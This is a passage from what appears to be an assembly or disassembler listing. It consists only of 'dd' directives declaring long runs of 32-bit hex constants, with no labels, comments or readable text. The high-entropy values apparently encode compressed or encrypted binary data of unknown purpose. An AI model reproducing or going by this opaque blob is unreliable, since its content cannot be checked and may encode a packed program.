0FCD889BCh, 70E6FD40h, 5771D72Dh, 16AB1523h dd 94B325DEh, 0F65D7A45h, 0CD5EBB1Eh, 88F9CCFAh, 0D8F6C667h dd 0FC6D79Ch, 0F56E4EBAh, 0B6033D9Ah, 2BFD4CD6h, 0D8E0BFF4h dd 0A239CFBFh, 6EB58BEh, 4C96E2A5h, 0B68F0EE2h, 53E66BF4h dd 0E02ACA48h, 450F23C1h, 0D4C9820Eh, 0D5A50F45h, 0ABF1DD6h dd 736D6E0h, 0BEC76010h, 0E9E8ED32h, 791FEFF6h, 5F6EB404h dd 0DE7E6B02h, 5FD9218Ah, 68CBF87Bh, 45F7FD12h, 0FC1CB5AAh dd 4B405565h, 816E5267h, 0D2A88E94h, 31FD21F9h, 0B253433Ch dd 5CB90087h, 0F1CA87E0h, 7D18B53Ch, 0CBB2EF7Ah, 97BDE471h dd 0C63BEF5Fh, 9DFE5B99h, 226D601Ch, 86A36D33h, 0EA321C7Eh dd 0BB8B28B9h, 675F1778h, 0FAA644FFh, 8AA8B56Ch, 1757796h dd 95DB62h, 783E383Bh, 8837BC22h, 24317223h, 37CE56B6h dd 0BB3EE5DCh, 2E14C940h, 60A6F500h, 0F15F0585h, 0A36E9F0Dh dd 0DA948575h, 0EED16688h, 222A4F99h, 2E9C13A1h, 3E2BA51h dd 5B1D5E15h, 0C65BCD16h, 7A8ED269h, 703CE8BEh, 8E31102Fh dd 0EEF25F32h, 0D25030BCh, 0FB6254B2h, 0FF670FCFh, 0DBFE7BDFh dd 9B22BA2Fh, 37DC5DF4h, 2BD82DF5h, 9A2BA39Bh, 0DF2EC237h dd 0D2683390h, 95F49D4Eh, 0B7240579h, 9844BE92h, 84BA5555h dd 0D4EC4ED2h, 0E1337963h, 4868BEA1h, 97EAE060h, 7AD03D84h dd 0FB64A651h, 0C51612F8h, 0BDF2E9BEh, 46FD02F1h, 64DB15E1h dd 0E0FF0B7Fh, 1075F135h, 15891262h, 0B80D75D5h, 5ED8C565h dd 0C2205177h, 0AD9B7182h, 28ABCF29h, 0B79C2EE4h, 768AABCh dd 379A48BCh, 0ACEFD15Fh, 1723583Ah, 773F3F03h, 0E681040Ah dd 47C7F5A9h, 5D042EC6h, 5D0FC54Ah, 79AB6D33h, 5A107A85h dd 5AD1D1FEh, 6422296Dh, 3AB09E90h, 0EC503ACDh, 1B6160DCh dd 141556FAh, 0E72CAE09h, 0AFCCAFDCh, 0A7090F99h, 0FAD4552Ah dd 54797DB0h, 74795BF4h, 894752FEh, 0E30057BFh, 0AA574223h dd 890D33C6h, 2FC3C94Bh, 0A9F8081Fh, 4EB6EA89h, 0E9F45DC8h dd 933D3FF5h, 2A85D78Eh, 60BB8FEFh, 6006C30Ah, 0B95EDD8Ah dd 0E0E2673Bh, 8A0AB7F3h, 76B17159h, 519F39F2h, 105893FCh dd 518BE5B1h, 701FBF54h, 69A86E12h, 247E16ACh, 6574B298h dd 1E16CF57h, 6E9DB863h, 5DE1F8EDh, 0FD9DB2Dh, 1DD34F37h dd 0FDA559EDh, 0BAFF1035h, 0CF28B653h, 7E168E4Dh, 197DAF19h dd 0D6202A91h, 0E74EB68Ah, 0AB04A7C2h, 3ABA9E29h, 0F44F3B16h dd 3B4139D8h, 65EF6D60h, 0C98BF734h, 537E3EAFh, 69D92C0Fh dd 0DF26B118h, 6F7997E1h, 7EAECFD9h, 773FE0BFh, 0DEAD14A9h dd 5A34B19Fh, 91AAD607h, 0D5EFE8EAh, 0E385F954h, 18EF3B7Ah dd 0B7853EE1h, 0E2DEF0B5h, 16FDFFEAh, 3529D137h, 3A45AACFh dd 37A9F1h, 0A402CF9Bh, 72264555h, 40FAD15Ah, 0AF0E9F27h dd 53812FCBh, 2BD9D429h, 964554BDh, 21FB4D3Dh, 21D41942h dd 7E5551C9h, 0B7381021h, 0AC5A27B0h, 8AF41DE6h, 3D916FAh dd 0C6C157E7h, 79B47C7Ah, 0D35E1C2Fh, 0D4F65D5Ah, 87ACD26h dd 0E70C5426h, 94054F17h, 0E5DE32CCh, 1F1209C3h, 7433C05Dh dd 0EFE3703Dh, 0AECEEA90h, 0EC857DF4h, 2B605A9Dh, 0B3771F53h dd 48DDDE5Ch, 6D78FAE9h, 4857BD6Fh, 0B3AF1938h, 0B73C4B03h dd 0FD98F223h, 6BA3F44Bh, 2CA5A918h, 5F3A72A5h, 0FD58E65Ah dd 0FAA4812Ah, 0D7C9D9DBh, 314EBFAh, 297A6DBEh, 7E78CE0h dd 0D43325F9h, 0F53C5FDBh, 3AF02D65h, 39D2F2FBh, 0E687563Ch dd 387FE317h, 7FEBA8E9h, 6360B04Ch, 53FF19A6h, 4717155Dh dd 0C6FB4AAh, 0D131BE23h, 6CA399C9h, 5F6B3AA7h, 0B93D8697h dd 962EE2C2h, 3BDB493Eh, 6B645A22h, 0D03DA173h, 0E9452EB1h dd 0A9353DAh, 0AC825AFAh, 45A37F80h, 0F3E7419h, 0A18CF799h dd 1B95107Ch, 2455796h, 0F1C36BC4h, 0EE9A2A77h, 6850FC7Eh dd 0EB82BA97h, 0ACEA6EA7h, 320B0FC0h, 5FBBA848h, 0FA66715Ch dd 8E5849EFh, 0B024B81Fh, 78BC5A71h, 3E2D46Dh, 1CDCC48Eh dd 672BE585h, 16FF03C9h, 0BE7F49C2h, 0BF36EF3h, 5E0AE425h dd 0D8AE7DF8h, 0FB3D6F19h, 0D812EDF0h, 970AAFE5h, 0A22F0752h dd 207A5CC3h, 0EE7AD862h, 0FF0B84BAh, 0E54E0309h, 5647D59Eh dd 89D0CDDh, 5F3B2F44h, 0F33A3E8h, 3E76A8D1h, 0C9C65E6Dh dd 6AEF0723h, 0B14A45EFh, 0CB4A1658h, 291DFF07h, 0B40C36FBh dd 4ACEC9F5h, 0A1B962B1h, 758FCD26h, 524FA057h, 28FA299h dd 57449F0Eh, 0CF95B03Fh, 105A0535h, 5BE354D8h, 3F73DBBEh dd 4946EF6Dh, 0A4E9BF12h, 6CBB8815h, 23AADA4Dh, 0DEDB707Dh dd 0EBD3D67Fh, 5AAB04F7h, 0DEAAA776h, 7CE0613Bh, 85A19871h dd 79301380h, 48DDF3EBh, 557B6EAh, 8E2F96AEh, 0E375E70h dd 0BD378AAFh, 6BA7E2D1h dd 75B228E4h, 0DB5F5C2Fh, 0FB5781FEh, 0B83E18B2h, 83262A15h dd 32D21735h, 0A7AEDAE7h, 0E97D9769h, 0A4FF4E5Eh, 1FB702E1h dd 9D5F8A9Bh, 837142C7h, 36B86697h, 0E9788D7Ah, 826DA247h dd 0D07DAD14h, 42A27FC0h, 0D76228BFh, 66B12F3Ch, 268AE78Eh dd 0EF9BF04Dh, 0A17C08B9h, 5A57ECCBh, 0D75BE1AEh, 4A636ABh dd 0F7153DC7h, 7F17D169h, 0D82A753Dh, 24BD7C94h, 0BFB647D1h dd 254ABDA2h, 9728AECBh, 0ABFC1E3Ch, 7303F7D7h, 64EB120Eh dd 89A324E4h, 5B929DA5h, 0D44E6D42h, 8C22A9FAh, 7DED4A5Bh dd 947AEB41h, 37325B81h, 0E3582916h, 6EE97E77h, 4F9AC07h dd 0D4B61A8Dh, 0F6D4AB90h, 0ADD524ABh, 41A0C97Eh, 32497821h dd 0B505D247h, 47DCFC53h, 0F9E3C0F1h, 489B93ECh, 0E26FB23Dh dd 0DAEB62E5h, 0FA39510h, 95DB705h, 6C6A9EDEh, 67C52042h dd 0F325BFDEh, 707D7093h, 20ED81F9h, 6DF07F5Ch, 65A2A99Bh dd 39FA6DD2h, 4FDA43EEh, 365E88A6h, 7D654A7h, 77A7B4E1h dd 0E6BAD71Fh, 0B704BC7Ch, 0E94B11EEh, 0FDF559B1h, 8A40E1F8h dd 0EF8FE96Ch, 9157CE64h, 0EB439DBEh, 0D9CBCA11h, 0FC4705Dh dd 0E8A33257h, 1943E9A8h, 50DF9D2Eh, 0E6E2AAF6h, 0C2686DCBh dd 9EECE773h, 22F4F56h, 358EFC62h, 8FA8FCC0h, 93C1BE2Ah dd 1827B12Bh, 57B95C0Bh, 45FC2E6Ah, 0E9E5D275h, 82377BD6h dd 7693F1DFh, 89D23148h, 6DF0CE8h, 7D386AE2h, 15DA76CDh dd 6C2F5E09h, 0D55B1D1Dh, 3E02314Ch, 96D17361h, 3DD9B13Ch dd 0E2F99784h, 539F657Fh, 4AC95DCBh, 294FE3A4h, 0E40B767Ah dd 0C731343Fh, 38106078h, 54BB24FFh, 0CAEE65D1h, 0FD761142h dd 0A4DDD215h, 6D3491F7h, 0DE98B7C2h, 5DE7B6E1h, 0F8AEF8B1h dd 0CF03D077h, 7AB2FC52h, 2D16AA63h, 7837B333h, 13ED3C8Bh dd 65817BC7h, 305A7A76h, 0B7BBBF17h, 5CCA439Dh, 2AD84DECh dd 3A83D938h, 0E3A3744Ah, 0F07811DCh, 0F2243A7h, 35F62E6Ah dd 0E571A511h, 59371F66h, 0E260E03Ch, 0FB854A52h, 0F7683CAAh dd 0CAD216A2h, 2AE43A69h, 574CE677h, 48B46E74h, 9EE8E813h dd 9187F6DEh, 1AAD165h, 0C701DEAAh, 0C8379DAEh, 0A36D6D7h dd 81E3F863h, 0D02FEE26h, 0F68E663h, 0C1DFB592h, 43BAFCC8h dd 0DCCF6845h, 73F0F0ECh, 4C6703D7h, 0F7ECA2B9h, 95DCF032h dd 12E894D4h, 5BBA2B28h, 9E0A2EB8h, 0E4C1F2DCh, 56FE1544h dd 74C65222h, 81BFE7A7h, 615CFA20h, 5CE46DF7h, 5D559B10h dd 5749150h, 3DF9618Bh, 3CA99DCBh, 0B8485FFFh, 68DA3C82h dd 0C048AF3Fh, 0B5A36522h, 8EF22B00h, 0ABD0DF2Ch, 43365273h dd 0EBEEA5ACh, 9253D0Fh, 45D4A770h, 0E5B590F1h, 4DE8E4ADh dd 13EC835Bh, 37FBC189h, 82F1157Eh, 0D36D1DF9h, 0E05AE402h dd 0BEC8785Ah, 0A9966F1Fh, 0DBF0E276h, 142C967Dh, 0C7AAEA1Bh dd 992984C6h, 0C59FDBA0h, 0F5BAD721h, 4F2F90D2h, 0D4342717h dd 0A27FA02h, 5FDDF3EFh, 0D301EF5Eh, 0E340BB77h, 4129BA5Fh dd 0B98147Ah, 3707916Dh, 0F7779F48h, 42D1875Fh, 0E816F015h dd 7DED767Dh, 0C5F4045Dh, 6F757F82h, 5173EB3Dh, 5F06EA6Eh dd 0D49C7325h, 5154383Eh, 55C53BFDh, 6C5F85F9h, 7D82DB41h dd 120A43BBh, 0A46EF54Bh, 83CD51D4h, 0FAE02894h, 15E99B47h dd 0F8064F8Ah, 0B944C723h, 0C344A658h, 4B5FD3C6h, 25D2B021h dd 0AAF6237Ch, 0EE981F95h, 0BF85C798h, 97F2CBFDh, 51D569DBh dd 95BF6FE4h, 0C260F90Eh, 1C0EA96Ah, 37DA9B3Ah, 0F667EFC0h dd 0DD7A2F47h, 0D67FD4Bh, 719F0D8Eh, 8E454E6Dh, 1DF9F6Ch dd 35A2854Bh, 0C0FE9F9Bh, 8D3F66B7h, 0CA55D852h, 5F430CD6h dd 452D1AAEh, 0DF7F798Bh, 0E6B8A8CAh, 4494CD1Eh, 2B44B3DFh dd 69AA4B7Fh, 0C2D8D466h, 222D067Fh, 4F3A0487h, 3DFCE16Dh dd 867CE60Fh, 0D6B044F9h, 229D426Eh, 744F1D54h, 611DE965h dd 1E189F1Ch, 6F1419EDh, 2B4EB72Dh, 79183B44h, 60B56CBh dd 38D174DFh, 9F2E6F23h, 8649D514h, 901C7EF0h, 516CC4A9h dd 9A9D3EBEh, 0DA453707h, 5EF6BD6Fh, 15ABEAEFh, 5AA2E2AAh dd 78A9AAE7h, 0E3768E81h, 0AED2B8A5h, 69CC884Ah, 0E26A5AA4h dd 5A996DF7h, 20B93969h, 9504AD3Eh, 8BF3A23h, 1B743EBFh dd 1712345Fh, 0B4CF818Ah, 14E0FA1h, 0B108D7DDh, 0DBE456CDh dd 6F2159E6h, 9147E247h, 146F1DEh, 956B74B4h, 471DEE16h dd 0EFF395DCh, 48451A13h, 3B25287h, 0A5BCF0Dh, 7C6D3C8h dd 0D56F0BFEh, 69FF3FE0h, 276CFBEAh, 0ACA8A3AEh, 52CE06Dh dd 3595F670h, 3FEC5ED0h, 0B58DC6DBh, 5733F8B8h, 0F353271h dd 0EB04574Eh, 9BD7FCFBh, 0F41C2AB8h, 0F0FC6FCBh, 928DCFC8h dd 1CC36EFCh, 0A05FB5BAh, 0E1E0403Dh, 0A8756206h, 0D9449742h dd 0BA0AEDE6h, 0DC9F370Ch, 0EE3365F4h, 0A3DF2FFh, 38945DA8h dd 17F82C58h, 1F54EA51h, 6F9C17F1h, 6A3BD782h, 45F85089h dd 0E5C2F6ABh, 0DCCA6C3Ah, 0AEFD8950h, 1E2E4A1Eh, 7DD65EDh dd 0C817E5CBh, 93BD7528h, 4B0491EEh, 0E2FF68A8h, 585C6B6Eh dd 0F0D06BF8h, 0CA87A8AEh, 0A19FCAEEh, 23CAEA1Eh, 3736E168h dd 8CE3AC98h, 77F154B1h, 0DD7EF362h, 0FEF87CDEh, 28E88C97h dd 0C2BADBBh, 7DFA6E55h, 0DBDFAB40h, 27F4292Eh, 0C19FECAAh dd 0BBE7A60Ch, 464F82EEh, 40A9BDD0h, 1E6A770h, 8D68D12Ah dd 18B7CAD2h, 1F5B18C0h, 0D67F7EAh, 0A9726926h, 6992DF52h dd 0A60B7F2Ah, 768CC534h, 992ADE07h, 0C7BA227Ah, 0DC1E1C7h dd 0D148D5Dh, 3C16A2FFh, 399F53D3h, 243C6F78h, 0D409D37Dh dd 0C92479D2h, 0BAFEB57Dh, 0B5BDC9D4h, 0B7D2D51h, 0F4BA69F6h dd 33185C17h, 0E6A05E78h, 6CAAE964h, 9AC7D60Eh, 0EE86E5DAh dd 0A16FB00Ah, 0EC9FED1Bh, 0AF14CCBAh, 886B3AF6h, 98BB7100h dd 0B3AFFA60h, 7D7EFE56h, 0E2D605BBh, 6F1BD308h, 46D12477h dd 0C556EDCFh, 1FD9A2C2h, 79BEAA98h, 0BCE16D5Ah, 57D2F6F2h dd 2F927776h, 0D0A9748Ah, 5D17DDCAh, 0AEB41B3h, 6E85F8A8h dd 5A22B381h, 0FF72AD9h, 249220FFh, 842B5A3Bh, 78D61924h dd 0FC3C0F16h, 8384B9F3h, 0BF1BD51h, 0CE756E77h, 0D1051D2Ch dd 561F80C5h, 3F768A02h, 90395C6Ah, 0FCB980DBh, 4E81FF97h dd 0B7152BFCh, 549D01D8h, 7A7E9285h, 45346C42h, 20E575B6h dd 0C0F6B8E5h, 0ECEB53DFh, 5F2AF732h, 627C0FEDh, 10020F87h dd 62EB6CA3h, 96F76AD2h, 0FE220EADh, 0D0DE2D50h, 2D6E6A69h dd 67F94840h, 0F90DAAC7h, 2840B5FEh, 0DCA5D2E7h, 0F079AAB0h dd 4DBD9514h, 0A6F91AF4h, 8BFAC21Fh, 0EF5077C3h, 165F1A38h dd 0D38E76C7h, 1467F6BFh, 44005BB8h, 0D4E07F32h, 0ED4492BCh dd 973278BCh, 0CF45742Ah, 0AB6A0053h, 0E992B532h, 499DF2F1h dd 65B12D45h, 417546FBh, 389DEE8Dh, 0F0780ECEh, 0F6FEEBB0h dd 80D69A04h, 579B2734h, 0EF45D9BEh, 0CCB6AF17h, 0B77F1A8Dh dd 0A626BF79h, 7DAA8E2Ch, 376BD42Fh, 0E0B87136h, 0D1C0C48Fh dd 2473D4BAh, 0A5776F25h, 0EB779E44h, 207CF556h, 0CF32792Bh dd 497FEE53h, 3065E64Bh, 55DA092Eh, 0BC7EA18Bh, 0E2A99D2Bh dd 0EC2C9ACEh, 72EA3154h, 0B7272F9h, 47869D49h, 1BE7A102h dd 9FDFADFFh, 0B4567D00h, 6DCA9AF7h, 1950B5B7h, 570C0FDAh dd 9BAFEA7Fh, 94B83AB6h, 0BE58DFDh, 0A0B21F83h, 0D929729Dh dd 0D9E18E03h, 0A59DE13Ch, 0CBCE0B37h, 895F2AF0h, 4FAF756Bh dd 4436F3A4h, 0BD2F9185h, 0BBF5CE1h, 7DF8CF08h, 0BB3E5A1h dd 992D3D8Fh, 8FE8AAA3h dd 1E032FC2h, 0F30FC378h, 0F8CD00DFh, 0B8DEEAF7h, 0B8F47E2Eh dd 1D9C839Bh, 89F6AAD6h, 3A3C095Ch, 17E0AE74h, 4664182Ch dd 346557ABh, 0DAB4AD40h, 0DC9EDC0Fh, 0A7898D08h, 361973B4h dd 0C664D746h, 92D1977Dh, 801B63C6h, 555875B6h, 0B657511Bh dd 37704561h, 66DCF291h, 0B47975D5h, 95123BCDh, 3FF5C41h dd 0B90DD917h, 741247F3h, 15B39591h, 53DEEAFh, 70A1827Dh dd 0EDCAF0F0h, 0EEE295D2h, 9CBFE442h, 5EB7AF0Ch, 0B3C1D709h dd 6F3C9E02h, 0E4D9EE36h, 0EE44CE62h, 0F49E602Fh, 0DCD0AB70h dd 3E1281E7h, 0D3032B72h, 92FC55D4h, 92F346AFh, 0B629C682h dd 0D5006602h, 0AA113A6h, 83BF945Ch, 3FE093CAh, 310FC7EEh dd 0CFAB0BFh, 1196E6E0h, 54EF6E2Bh, 9B54C451h, 0ACCE9213h dd 0D412C3A5h, 0A21CAFA7h, 0E269A66Bh, 0A06D1E9Ch, 63A4C808h dd 0B3B96773h, 76E144AAh, 3F228AE7h, 0CE6855F3h, 0F5B99975h dd 4E8A331Fh, 35505552h, 12DDCB38h, 64B38B60h, 0DC00A8B4h dd 14C65D0Dh, 2AF6316Ch, 0D6E22E25h, 0FD5B5A36h, 617E0B2Dh dd 0E5EDD3Dh, 0CE2A2B05h, 71AA2A89h, 0AEF025D8h, 0D32EC27Dh dd 0E6F3D46Dh, 1059D343h, 37E389C3h, 555A6FBCh, 0BE17D6D4h dd 51C6879Eh, 94B4CEF4h, 8B5A2C36h, 50DBDBFAh, 961F5475h dd 16885BCCh, 280F3F18h, 66FA2707h, 0D5DF303Fh, 3A265FE0h dd 59FD3E0Eh, 45CB0BB2h, 0C4ADB16Eh, 290A5F86h, 786FC10Dh dd 0C1F46BECh, 0BDB9CAC7h, 0EDA57F09h, 0A256173Fh, 69F2EA9Ah dd 0E4726F78h, 0B8BA6BDAh, 0D81ABEC6h, 0B729F99h, 0A5920EA1h dd 3614EFF0h, 0BA7C3292h, 0D9771942h, 4AEE7BAh, 719552A1h dd 5174F47h, 5F249352h, 2BDCEA2h, 5CDCE840h, 6876B60Fh dd 12A8DD9Fh, 8A43041Bh, 7A20625Ah, 35B6B523h, 0F272A1A1h dd 0E4A6C06Dh, 0E19D377Eh, 23C5ABAFh, 419FFFC9h, 79FEDDDCh dd 957497B6h, 0F3850C2Ch, 9FA91BA0h, 7157141Bh, 88ACA197h dd 8EE236AFh, 0BD68B251h, 454FAEDDh, 0E60611B0h, 4077AB01h dd 112E53Eh, 8E88AFE5h, 5669ECDFh, 7FCBBC59h, 45AC28DEh dd 0BDCE8EA8h, 0B81ADE7Ah, 4AEAC70Dh, 0D6D6D5ADh, 153BEECFh dd 0F5EC0F3h, 0A99DE2B9h, 0BE0F1A3Eh, 0B5A63CEh, 0FCB53CF3h dd 409F4586h, 0DF7D80D7h, 0FB77C0F2h, 0B0D588BCh, 9CBF0B83h dd 97B96097h, 2A9157E0h, 0C4E0F222h, 0EF63DA45h, 67781776h dd 7C7D1AA0h, 0ACEA1623h, 0E37775A2h, 0CB60D64Ch, 0EC8E0BF9h dd 730AF866h, 0AC1A8F3Ah, 8A6962C1h, 51634867h, 5EC0A3A8h dd 9B4BCAFCh, 0B5DEF9E3h, 0D943DE34h, 0C0C7E2B1h, 81FBD325h dd 3AC8397Fh, 3D6A4124h, 0F997F7EAh, 0E63CD8E1h, 7E392BFCh dd 2D524EF8h, 0D3155AAFh, 4D175157h, 43D1550Fh, 9A1F89EEh dd 28619ECCh, 0D0376B69h, 0AFA49200h, 0AF0232A5h, 6DD6F6FCh dd 575984EFh, 0D1639F73h, 0B4053B33h, 0F1C587E3h, 0A36ED7C6h dd 15D40EBAh, 1435D051h, 94553FBDh, 97D01701h, 67CF535Dh dd 4F74A95Ah, 273C8A8Dh, 76B43FD0h, 755F9593h, 8BB657C5h dd 65356E85h, 0B6FAA639h, 0DD88998Ch, 0E5A35F42h, 51D18EFEh dd 1D6241BEh, 895586E5h, 0A544A95Dh, 0B49D242Dh, 4A8E0EFh dd 0F7A79AE4h, 0D424EBA1h, 71E0D2D0h, 389E8891h, 0FDAD9A7Dh dd 20722D3Bh, 5CA079D5h, 0CFDE99B6h, 63313649h, 0CFDA6381h dd 0FB6A6BF7h, 5F6295E4h, 321F829Fh, 0ECC110BEh, 2B28AB47h dd 9688A73Ah, 24AA125Ah, 8A8E04C4h, 0EE9878Eh, 0B8093EA5h dd 5B7C968Ch, 0B7170C1Fh, 20B3B26h, 0EC473922h, 78836703h dd 0C555E584h, 5F8ED9FDh, 3D4F0C0h, 5FD882E1h, 607D5D9Bh dd 0CE1BA85Fh, 0C58EA174h, 142B0FD9h, 0E1D9E8DAh, 9EAD51B4h dd 57A64AE1h, 0F3600DEEh, 6BF9B825h, 67027739h, 0D488608Bh dd 0FC689C0Fh, 3CC8BF06h, 0FB03916Ah, 0D53FDB9Eh, 0BF7B19E5h dd 0E2515514h, 394AF4DDh, 0D3564527h, 0D979DCA4h, 0BFCB21FEh dd 0D357156Ch, 0CB9A664Dh, 0DCC5C497h, 518D3A98h, 55476419h dd 9FDC6D6Fh, 997EB14Eh, 649C0578h, 11457EC0h, 4EA601B3h dd 53D896FBh, 9A0E5FE2h, 76698F6Fh, 26D7F9Bh, 0A6CD3FBAh dd 0A417D403h, 0C071D07Fh, 1A60AEC1h, 73DCF2FFh, 9CDCDE4Bh dd 0AC728E24h, 0AED557E0h, 6A1A36C5h, 360274F7h, 0BECA490h dd 7151EE2Bh, 0FC092EA8h, 0E0A38529h, 0A170BB34h, 8F02193Ah dd 37CA9489h, 9FC774ADh, 6828B52Ah, 0E8A37072h, 0AAADA560h dd 671CD973h, 75105591h, 733F2068h, 0A361ED51h, 5D9C4AA6h dd 8A0B970Ch, 8E4BEAA9h, 1349A6F4h, 0E4AB2AB5h, 18A34714h dd 0C14AF8D8h, 5EC812F6h, 30968BF7h, 0AACB43ACh, 2C424350h dd 0D3C174BCh, 8571D629h, 3798E172h, 20EBE3D1h, 29BC507Bh dd 48350A5Ah, 3591AB2Ch, 0E1796EE6h, 0C1D69E95h, 7E401B48h dd 0FE7DA553h, 0CD25A2A2h, 0E912DB0Dh, 0FA990771h, 552E53EFh dd 28799124h, 0B9BAC08h, 0BF87D086h, 0ECF814D0h, 35512955h dd 0D4BFEA07h, 78BE2C5Ah, 9DD7DEFDh, 0BFBB85F5h, 0BB2015FAh dd 4CD4D0B5h, 0DA4D0448h, 0CC37EEE5h, 58FE6398h, 1F0CAB2Bh dd 16910B94h, 49DEB3CEh, 499A662Fh, 0EF864CFEh, 0EF96934Dh dd 0B618172Ah, 0CADEADFDh, 0B2E2E739h, 90A9FF68h, 2D167F2Ch dd 0FE70BFD1h, 0D7550E16h, 5FA3F98Ch, 83C96562h, 0F4DAC5C0h dd 0B81C3FB8h, 0B026E9E7h, 21F8DA87h, 71691BAAh, 71455B85h dd 1B0B8C96h, 9B8DAF55h, 5916D4D0h, 9D66221Fh, 8F37681h dd 7204D767h, 9FFDDCD4h, 8124356Ch, 0E9A60FD5h, 0A496C222h dd 11D9F563h, 0C9D921BCh, 9FA5EFE6h, 7F0C72CEh, 4F8B32EFh dd 7FC90412h, 0B79D6881h, 760EF2F0h, 8A14B753h, 16A8CE6Fh dd 0B58AECE6h, 0CD5D7C7Ah, 0CE5B5290h, 15FB4192h, 0E055155Bh dd 2181A765h, 0EA5570B1h, 0B9997065h, 0EFE215CBh, 0C51CECB5h dd 0DF89CE4h, 3BDD6462h, 99C54136h, 6DECF0Eh, 27D15D3Dh dd 7C5DF87Fh, 0B4D3E7E2h, 0B4B63D53h, 956C5FC9h, 7CFBB4F3h dd 646FB406h, 1F8C2BF4h, 13FDFC8Eh, 17D728B3h, 4A6E35CBh dd 0C85BBDCh, 7B7D5F39h, 68B55F42h, 6FD14750h, 629F69FCh dd 0FE450B0Fh, 5F52B39Ch, 2FCAB558h, 76D46506h, 0C8F81E6Ch dd 611637C3h, 3BB14951h, 54E5FC50h, 0B44EB215h, 0FB3820FCh dd 25FC35F1h, 0BD141AA0h, 887A3C18h, 6F1685C3h, 3DD9C9Ch dd 77AEC5FEh, 0D6691543h, 0BF03FA99h, 0E3713854h, 90ACEC6Bh dd 69856BD6h, 8F5DD868h, 0F7DAB376h, 59F815F6h, 7D6FC214h dd 0C6D1D326h, 7FA892Ah, 0BE9A3DF7h, 0FA0CED7Bh, 0BFB88h dd 62A675D3h, 3EA4F159h, 0AE6EF689h, 6BF99DA5h, 0C4CCDEC0h dd 0F11F5B78h, 195D66FBh, 2C9E6633h, 0C5A346E6h, 0C0BDE330h dd 0B8E0E79Bh, 98F2CDFCh, 0B160D842h, 0FD2AB9BBh, 6A6CA5DDh dd 9596D0D1h, 94B935CAh, 0F32B77BEh, 0B2358913h, 0B6F98247h dd 0F86D9D71h, 0AFF9BED7h, 0A0B18F7Ch, 9AEB0B90h, 0F5717365h dd 0A36F6A9Bh, 0A9F62497h, 2BBC9757h, 0CF8B2383h, 0BC4F177Eh dd 1C37621Fh, 0E0EAAADFh, 0CDB3D8AAh, 64908B45h, 0BD77B59Bh dd 0C547FBF5h, 6B47AF15h, 3D9F84B7h, 22D8097Dh, 58E40FA2h dd 0BAD0AA7Dh, 0FF3689A5h, 6C17FE91h, 951D08BFh, 0DDDF0750h dd 0E7C2B33h, 27F0A502h, 78AA4170h, 0F894B0A5h, 0A9F8CAFFh dd 123E5C3Fh, 5647C5Dh, 62F9C3CAh, 0AB07D68Ah, 0B1511BFDh dd 7D15FA95h, 4EBC097Fh, 0F573555h, 0F70D5374h, 0FC4652F5h dd 0B27E12F5h, 0D5CB57BFh dd 0AD2659D5h, 26D1E8A8h, 7F8B47D5h, 0D917FC2h, 7407DFA5h dd 9DFDBA1Ch, 7F635EE6h, 0DC5322ABh, 83CD9FCBh, 2C1C5A24h dd 927EF4A3h, 0A37390BFh, 0B51A42DFh, 1A18B45Eh, 0B710A1ADh dd 0E76C04C7h, 0D547029Eh, 8C095D6Fh, 565E622Dh, 1C7B4F53h dd 3381E066h, 0A6796BF8h, 494556CCh, 0BCFA95F1h, 0B2CB3E4Ah dd 0B7DCCEE3h, 1DE7B04Dh, 5D6B0B6Fh, 0C6769E45h, 0F7AA33FBh dd 9B47DFFh, 96CA7814h, 0EC7B8EA1h, 0DA8073E6h, 0CDAAA44Bh dd 8083FAEAh, 3A9188BFh, 0F63A07AFh, 9BBA97FAh, 4B8AA2FDh dd 772FAD75h, 4AF90BA1h, 15F7E9BBh, 28A54D5Dh, 1DD389ECh dd 57D9414Bh, 46EDF45Ah, 6F26C025h, 3ED2483Eh, 2036055Fh dd 0B3255324h, 0C0F7B23Ah, 4CDBF9A5h, 6E7FB689h, 5F1B61C5h dd 77A98D8Fh, 4BC5632Fh, 0E885E668h, 10F2FE0Eh, 0B7CDBE00h dd 48877463h, 0FB608DD1h, 6BB87899h, 58A2FEEFh, 8FA00DBCh dd 817F2AEBh, 0EC405A65h, 77E94F05h, 4746E64Ah, 1556EC51h dd 6E4B5B68h, 0CEB942DDh, 180BFF69h, 27A2A81Ah, 9B6BF027h dd 0F66BEA0Eh, 9E3FD237h, 8A78A092h, 36FDC35Fh, 5837B6CAh dd 0D1843CDAh, 0BAD652DEh, 970263C1h, 5130074Fh, 41FC71CAh dd 0D07B0404h, 2FA2F1DDh, 2091F4DCh, 56B12DE1h, 5A3334D1h dd 63FCF657h, 56CBB013h, 0DAA3920Dh, 0E9C6ABE5h, 0AA7D16h dd 0B703FFCh, 38ABF983h, 968A24F0h, 11F6FE51h, 0F657F97Fh dd 33DCC048h, 5752C732h, 475A79BDh, 0B1CE1D4Ch, 0F63A8BE1h dd 5316E379h, 0F5C65DCBh, 0FB59E4C0h, 0F2BFBEAEh, 176B0FF0h dd 5080A6C7h, 0CDE1157Bh, 550AAFF7h, 55B838D5h, 0E9F29800h dd 0D7D34CBAh, 8557EEA3h, 34912A52h, 5ADCA4CDh, 55EC1A80h dd 0AFA47F2Bh, 0B475FF56h, 9E3855ADh, 795E0F1Ah, 8F2B4BFh dd 0D9B07778h, 0E4AAAE0Fh, 2016E92Ch, 0B03A1481h, 0D8F53E33h dd 0E31C6B44h, 35D105BAh, 51650788h, 0E99CE63h, 0C5D4E070h dd 95AC2EFCh, 0E95E2247h, 56926F77h, 0CEA58BEAh, 0AFBD4955h dd 0DE86B48Eh, 2736315Ah, 4CB4556Ch, 4C807395h, 0C72BF10Fh dd 0C1CA3EAAh, 0FC608AF9h, 0B69AAF08h, 192B9D59h, 0B2EE43F0h dd 5B97D88Ch, 2F8FE17Eh, 555289AEh, 781EB57Ah, 7B2F729h dd 0E248325Fh, 2B135890h, 0D524C8B1h, 0DF81D824h, 1A24F9BEh dd 0DCFE34CFh, 9CA141AEh, 7EDD6317h, 370FAFCDh, 6786EA4Bh dd 0B76F9EBFh, 0F6AA72FAh, 383E0841h, 0FBA635FBh, 4792A947h dd 0FD562470h, 5F8AAD8Eh, 918F7CF0h, 0C220389Bh, 0AE6730BEh dd 0E7A1A90Fh, 0D5FBBD3h, 0AC18DF0Dh, 0B80AFC65h, 496837B8h dd 1FF64FB3h, 0B1EB816Eh, 0EAF78B38h, 0A1350BF8h, 3C2F6F95h dd 4D7B8D5Eh, 0AC542D16h, 79EAC159h, 0F487E028h, 0CE9AA7DFh dd 857DDE5Bh, 9C53BE95h, 0A7DB594Bh, 6F6114FBh, 40709540h dd 33A0383Fh, 